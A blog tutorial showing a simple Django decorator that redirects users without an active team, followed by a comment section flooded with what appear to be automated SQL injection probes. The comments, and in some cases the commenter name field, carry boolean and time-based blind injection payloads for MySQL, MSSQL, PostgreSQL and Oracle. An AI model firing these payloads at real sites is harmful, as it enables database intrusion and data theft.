Make your own decorators using Django

Make your own decorators using Django

/ #Django


By using a decorator, you can save your self both time and prevent repeating your code.

You have probably seen some decorators already in Django. I often use decorators for adding authentication to a view, or limiting a view to a specific request method.

Typically when building a SaaS, you use teams. In my case, I want to always have a team activated for the users. But instead of checking this manually in each view, I can just assign a simple decorator:

@active_team_required
def dashboard(request):
    ...

And the decorator it self is also very simple. It looks like this:

from django.contrib import messages
from django.shortcuts import redirect

def active_team_required(view_func):
    def _wrapped_view(request, *args, **kwargs):
        if request.user.active_team is None:
            messages.error(request, 'No active team')
            return redirect('team:index')
        return view_func(request, *args, **kwargs)
    return _wrapped_view

It even adds a message to the session telling the user what's wrong.

Comments

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

-1 OR 2+127-127-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:35

-1 OR 2+124-124-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:35

-1' OR 2+930-930-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:35

-1' OR 2+848-848-1=0+0+0+1 or 'r8dqCwON'='

EFSArCBy | Jul 02, 26 07:35

-1" OR 2+891-891-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:35

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:35

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:35

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:35

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:35

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:35

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:35

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:35

555Sqfi59HU'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:35

555-1 OR 828=(SELECT 828 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:35

555-1) OR 554=(SELECT 554 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:35

555-1)) OR 960=(SELECT 960 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:35

555eKP89Wvw' OR 556=(SELECT 556 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:35

555hBDTj3pL') OR 53=(SELECT 53 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:35

555jUCNob7H')) OR 367=(SELECT 367 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:35

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:35

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555'"

EFSArCBy | Jul 02, 26 07:35

@@nTZ5J

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

-1 OR 2+54-54-1=0+0+0+1 -- | Jul 02, 26 07:35

555

-1 OR 2+953-953-1=0+0+0+1 | Jul 02, 26 07:35

555

-1' OR 2+704-704-1=0+0+0+1 -- | Jul 02, 26 07:35

555

-1' OR 2+974-974-1=0+0+0+1 or 'c4WHEf0S'=' | Jul 02, 26 07:35

555

-1" OR 2+947-947-1=0+0+0+1 -- | Jul 02, 26 07:35

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:35

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:35

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:35

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:35

555

EFSArCByCVDRTIxe'; waitfor delay '0:0:15' -- | Jul 02, 26 07:35

555

EFSArCBy5CIubTTP' OR 207=(SELECT 207 FROM PG_SLEEP(15))-- | Jul 02, 26 07:35

555

EFSArCByoaNVPv87') OR 790=(SELECT 790 FROM PG_SLEEP(15))-- | Jul 02, 26 07:35

555

EFSArCBykBsVXUIb')) OR 293=(SELECT 293 FROM PG_SLEEP(15))-- | Jul 02, 26 07:35

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy'" | Jul 02, 26 07:35

555

@@t6cDp | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.